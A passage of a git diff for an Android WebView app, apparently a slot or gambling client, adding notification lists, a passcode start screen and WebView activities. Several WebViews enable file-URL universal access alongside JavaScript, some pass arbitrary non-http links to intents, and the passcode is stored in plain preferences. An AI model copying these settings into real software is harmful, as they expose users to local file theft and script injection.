4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// +//// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +//// verifyStoragePermissions(this); +// +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); + getNetUrl(); + } + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(MainActivity3.this,"base_url",o.url); +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// }); + } + + private void toUrl(String url) { + mAgentWeb = AgentWeb.with(this) + .setAgentWebParent( webView, new LinearLayout.LayoutParams(-1, -1)) + .useDefaultIndicator() + .setWebViewClient(webViewClient) + .setWebChromeClient(webChromeClient) + .createAgentWeb() + + .ready() + .go(url); + + } + + + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " errorMessage : " + errorMessage); +// } +// progressBar.setVisibility(View.GONE); +// } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " description : " + description); + } + progressBar.setVisibility(View.GONE); + + } + +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String s) { +// LogUtils.i("URL是啥:"+s); +// return super.shouldOverrideUrlLoading(webView, s); +// } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + }else{ + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return true; + } + }; + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webViewdd.getUrl()); +// +// WebView newWebView = new WebView(MainActivity3.this); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// mAgentWeb.getUrlLoader().loadUrl(url); +// return true; +// } +// }); +// return true; +// } + + + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + }; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + +// @Override +// public boolean onKeyDown(int keyCode, KeyEvent event) { +// +// if (keyCode == KeyEvent.KEYCODE_BACK) { +// +// if (webView.canGoBack()) { +// webView.goBack(); +// return true; +// } else { +// return super.onKeyDown(keyCode, event); +// +// } +// +// } +// return super.onKeyDown(keyCode, event); +// } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + mAgentWeb.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MessageInfo.java b/base_Fachai8hk/src/main/java/com/web/base/MessageInfo.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/MessageInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/MessageInfo.java index c8988a3..c6852f1 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MessageInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/MessageInfo.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MyBankListAdapter.java b/base_Fachai8hk/src/main/java/com/web/base/MyBankListAdapter.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/MyBankListAdapter.java rename to base_Fachai8hk/src/main/java/com/web/base/MyBankListAdapter.java index 315d687..de365ed 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MyBankListAdapter.java +++ b/base_Fachai8hk/src/main/java/com/web/base/MyBankListAdapter.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.view.LayoutInflater; import android.view.View; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MyListAdapter.java b/base_Fachai8hk/src/main/java/com/web/base/MyListAdapter.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/MyListAdapter.java rename to base_Fachai8hk/src/main/java/com/web/base/MyListAdapter.java index 33bdccb..f42b437 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MyListAdapter.java +++ b/base_Fachai8hk/src/main/java/com/web/base/MyListAdapter.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.view.LayoutInflater; import android.view.View; diff --git a/base_Fachai8hk/src/main/java/com/web/base/MyNotifyListAdapter.java b/base_Fachai8hk/src/main/java/com/web/base/MyNotifyListAdapter.java new file mode 100644 index 0000000..3d3cb0f --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -0,0 +1,179 @@ +package com.web.base; + +import android.content.Context; +import android.text.TextUtils; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.constraintlayout.widget.ConstraintLayout; +import androidx.recyclerview.widget.RecyclerView; + +import com.bumptech.glide.Glide; + +import java.security.Timestamp; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; + +/** + * 通知列表适配器 + */ +public class MyNotifyListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + private Context context; + private MessageInfo messageItem; + + + public MyNotifyListAdapter(Context context, List listdata, MessageInfo messageItem) { + this.context = context; + this.listdata = listdata; + this.messageItem = messageItem; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + +// holder.itemView.setOnClickListener(view -> { +// if (itemClickPostionListener != null) { +// itemClickPostionListener.item(position); +// } +// }); + + MessageInfo messageInfo = listdata.get(position); + if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) { + messageInfo.setShowAll(true); + messageItem = null; + } + int type = messageInfo.getType(); + if (type == 1) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor)); + holder.tvType.setText("Text"); + } + if (type == 2) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor)); + holder.tvType.setText("Image"); + } + if (type == 3) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor)); + holder.tvType.setText("Jump link"); + } + holder.tvTitle.setText(messageInfo.getTitle()); + holder.layoutMore.setVisibility(View.GONE); + holder.tvContent.setText(messageInfo.getContent()); + holder.ivMsg.setVisibility(View.GONE); + holder.tvTime.setText(messageInfo.getCreateTime()); + holder.tvJumpLink.setVisibility(View.GONE); + + holder.lookIv.setText(longTime(messageInfo.getCreateTime())); + if (!TextUtils.isEmpty(messageInfo.getImage())) { + LogUtils.i("地址是啥:"+messageInfo.getImage()); + holder.ivMsg.setVisibility(View.VISIBLE); + Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg); + } + if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) { + holder.tvJumpLink.setVisibility(View.VISIBLE); + holder.tvJumpLink.setText(messageInfo.getJumpUrl()); + holder.tvJumpLink.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + if (messageInfo.isShowAll()) { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla); + holder.layoutMore.setVisibility(View.VISIBLE); + } else { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala); + holder.layoutMore.setVisibility(View.GONE); + } + holder.itemView.setOnClickListener(view -> { + messageInfo.setShowAll(!messageInfo.isShowAll()); + notifyItemChanged(position); + }); + + } + + public String longTime(String dateString){ + // 定义所需的日期格式 + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + try { + Long timeStr = dateFormat.parse(dateString).getTime(); + + String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+""; + + return name; + } catch (ParseException e) { + return "1000"; + } + + } + + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + + private final TextView tvType; + private final TextView tvTime; + private final TextView tvContent; + private final TextView tvTitle; + private final TextView tvJumpLink; + private final ImageView ivType; + private final ImageView ivNotifyPull; + private final ImageView ivMsg; + private ConstraintLayout root; + private LinearLayout layoutMore; + private TextView lookIv; + public ViewHolder(@NonNull View itemView) { + super(itemView); + root = itemView.findViewById(R.id.big_bg); +// tvType = itemView.findViewById(R.id.iv_readtype); + tvType = itemView.findViewById(R.id.tv_msg_type); + ivType = itemView.findViewById(R.id.iv_icon); + ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull); + ivMsg = itemView.findViewById(R.id.iv_notifyimage); + tvContent = itemView.findViewById(R.id.iv_notifycontent); + tvTitle = itemView.findViewById(R.id.tv_msg_title); + tvTime = itemView.findViewById(R.id.tv_msg_time); + tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick); + layoutMore = itemView.findViewById(R.id.layout_more); + lookIv = itemView.findViewById(R.id.look_iv); + } + + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/MyWithDrwaListAdapter.java b/base_Fachai8hk/src/main/java/com/web/base/MyWithDrwaListAdapter.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/MyWithDrwaListAdapter.java rename to base_Fachai8hk/src/main/java/com/web/base/MyWithDrwaListAdapter.java index 6ad6759..adb5291 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/MyWithDrwaListAdapter.java +++ b/base_Fachai8hk/src/main/java/com/web/base/MyWithDrwaListAdapter.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.content.Context; import android.view.LayoutInflater; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/NotifyDetailsActivity.java b/base_Fachai8hk/src/main/java/com/web/base/NotifyDetailsActivity.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/NotifyDetailsActivity.java rename to base_Fachai8hk/src/main/java/com/web/base/NotifyDetailsActivity.java index 2122457..4583498 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/NotifyDetailsActivity.java +++ b/base_Fachai8hk/src/main/java/com/web/base/NotifyDetailsActivity.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.Manifest; import android.annotation.SuppressLint; @@ -9,15 +9,10 @@ import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.os.Message; -import android.text.TextUtils; -import android.util.Log; import android.view.View; import android.view.WindowManager; -import android.widget.FrameLayout; import android.widget.ImageView; import android.widget.LinearLayout; -import android.widget.ProgressBar; -import android.widget.TextView; import androidx.annotation.Nullable; import androidx.appcompat.app.ActionBar; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/NotifyListActivity.java b/base_Fachai8hk/src/main/java/com/web/base/NotifyListActivity.java similarity index 95% rename from Dmcslot/src/main/java/com/web/dmcslot/NotifyListActivity.java rename to base_Fachai8hk/src/main/java/com/web/base/NotifyListActivity.java index d267e53..7b58c8d 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/NotifyListActivity.java +++ b/base_Fachai8hk/src/main/java/com/web/base/NotifyListActivity.java @@ -1,11 +1,10 @@ -package com.web.dmcslot; +package com.web.base; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.view.View; import android.view.WindowManager; -import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; @@ -38,6 +37,7 @@ public class NotifyListActivity extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { + userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId); getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); super.onCreate(savedInstanceState); View decor = getWindow().getDecorView(); @@ -62,7 +62,7 @@ public class NotifyListActivity extends AppCompatActivity { int firstvisibleCount = manager.findFirstVisibleItemPosition(); if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部 if (!isNextPages) { - Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); +// Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); return; } page++; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/Result.java b/base_Fachai8hk/src/main/java/com/web/base/Result.java similarity index 89% rename from Dmcslot/src/main/java/com/web/dmcslot/Result.java rename to base_Fachai8hk/src/main/java/com/web/base/Result.java index 511727b..4251091 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/Result.java +++ b/base_Fachai8hk/src/main/java/com/web/base/Result.java @@ -1,10 +1,8 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; -import com.web.dmcslot.GsonUtils; - /** * created by wmm on 2020/9/8 */ diff --git a/Dmcslot/src/main/java/com/web/dmcslot/ResultDataInfo.java b/base_Fachai8hk/src/main/java/com/web/base/ResultDataInfo.java similarity index 96% rename from Dmcslot/src/main/java/com/web/dmcslot/ResultDataInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/ResultDataInfo.java index 3825da0..21c09e1 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/ResultDataInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/ResultDataInfo.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; import java.util.List; diff --git a/base_Fachai8hk/src/main/java/com/web/base/StartActivity.java b/base_Fachai8hk/src/main/java/com/web/base/StartActivity.java new file mode 100644 index 0000000..0361614 --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/StartActivity.java @@ -0,0 +1,219 @@ +package com.web.base; + +import android.content.Intent; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import java.math.BigDecimal; + +public class StartActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, btn_equal; + private TextView password1; + private TextView password2; + private TextView password3; + private TextView password4; + private TextView password5; + private TextView password6; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_start); + + setListener(); + getNetUrl(); + + } + + public void setListener() { + + + password1 = (TextView) findViewById(R.id.password_1); + password2 = (TextView) findViewById(R.id.password_2); + password3 = (TextView) findViewById(R.id.password_3); + password4 = (TextView) findViewById(R.id.password_4); + password5 = (TextView) findViewById(R.id.password_5); + password6 = (TextView) findViewById(R.id.password_6); + + + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + } + + String password = ""; + + /** + * 0 正常增加 1 删除 2 更新 + * + * @param string + * @param type + */ + public void addInput(String string, int type) { + if (type == 0) { + if (password.length() < 6) { + password += string; + } + } else if (type == 1) { + password = password.substring(0, password.length() - 1); + } + if (password.length() == 6) { + password6.setText(password.charAt(5) + ""); + toNext(); + } else { + password6.setText(""); + if (password.length() == 5) { + password5.setText(password.charAt(4) + ""); + } else { + password5.setText(""); + if (password.length() == 4) { + password4.setText(password.charAt(3) + ""); + } else { + password4.setText(""); + if (password.length() == 3) { + password3.setText(password.charAt(2) + ""); + } else { + password3.setText(""); + if (password.length() == 2) { + password2.setText(password.charAt(1) + ""); + } else { + password2.setText(""); + if (password.length() == 1) { + password1.setText(password.charAt(0) + ""); + } else { + password1.setText(""); + } + } + } + } + } + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(StartActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + Handler handler = new Handler(); + + private void toNext() { + MainActivity.saveString(StartActivity.this, "loc_pass", password); + Intent intent = new Intent(StartActivity.this, MainActivity2.class); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + finish(); + + } + + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0", 0); +// break; +// case R.id.btn_1: +// addInput("1", 0); +// break; +// case R.id.btn_2: +// addInput("2", 0); +// break; +// case R.id.btn_3: +// addInput("3", 0); +// break; +// case R.id.btn_4: +// addInput("4", 0); +// break; +// case R.id.btn_5: +// addInput("5", 0); +// break; +// case R.id.btn_6: +// addInput("6", 0); +// break; +// case R.id.btn_7: +// addInput("7", 0); +// break; +// case R.id.btn_8: +// addInput("8", 0); +// break; +// case R.id.btn_9: +// addInput("9", 0); +// break; +// +// case R.id.btn_equal: +// deleteInput(); +// break; + } + } + + private void deleteInput() { + if (TextUtils.isEmpty(password)) { + addInput("", 2); + } else { + addInput(password, 1); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} \ No newline at end of file diff --git a/Dmcslot/src/main/java/com/web/dmcslot/StatusLayout.java b/base_Fachai8hk/src/main/java/com/web/base/StatusLayout.java similarity index 97% rename from Dmcslot/src/main/java/com/web/dmcslot/StatusLayout.java rename to base_Fachai8hk/src/main/java/com/web/base/StatusLayout.java index 7922344..20a4941 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/StatusLayout.java +++ b/base_Fachai8hk/src/main/java/com/web/base/StatusLayout.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.content.Context; import android.util.AttributeSet; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/Utils.java b/base_Fachai8hk/src/main/java/com/web/base/Utils.java similarity index 91% rename from Dmcslot/src/main/java/com/web/dmcslot/Utils.java rename to base_Fachai8hk/src/main/java/com/web/base/Utils.java index 370c261..94629dc 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/Utils.java +++ b/base_Fachai8hk/src/main/java/com/web/base/Utils.java @@ -1,13 +1,10 @@ -package com.web.dmcslot; +package com.web.base; import android.annotation.SuppressLint; import android.content.Context; import android.content.SharedPreferences; -import android.os.Build; import android.provider.Settings; -import java.security.NoSuchAlgorithmException; - public class Utils { public static boolean isImageUrl(String url) { @@ -59,9 +56,7 @@ public class Utils { } public static SharedPreferences getConfigShared(Context context) { - if (context == null) { - context = WebApplication.application; - } + SharedPreferences sharedPreferences = context.getSharedPreferences("notify_data", Context.MODE_MULTI_PROCESS); return sharedPreferences; diff --git a/base_Fachai8hk/src/main/java/com/web/base/WebView2Activity.java b/base_Fachai8hk/src/main/java/com/web/base/WebView2Activity.java new file mode 100644 index 0000000..0bf6199 --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/WebView2Activity.java @@ -0,0 +1,328 @@ +package com.web.base; + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + + +public class WebView2Activity extends AppCompatActivity { + + private String url; + WebView webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_webview); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + settings.setMediaPlaybackRequiresUserGesture(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebView2Activity.this); + topVvvv.setVisibility(View.VISIBLE); + 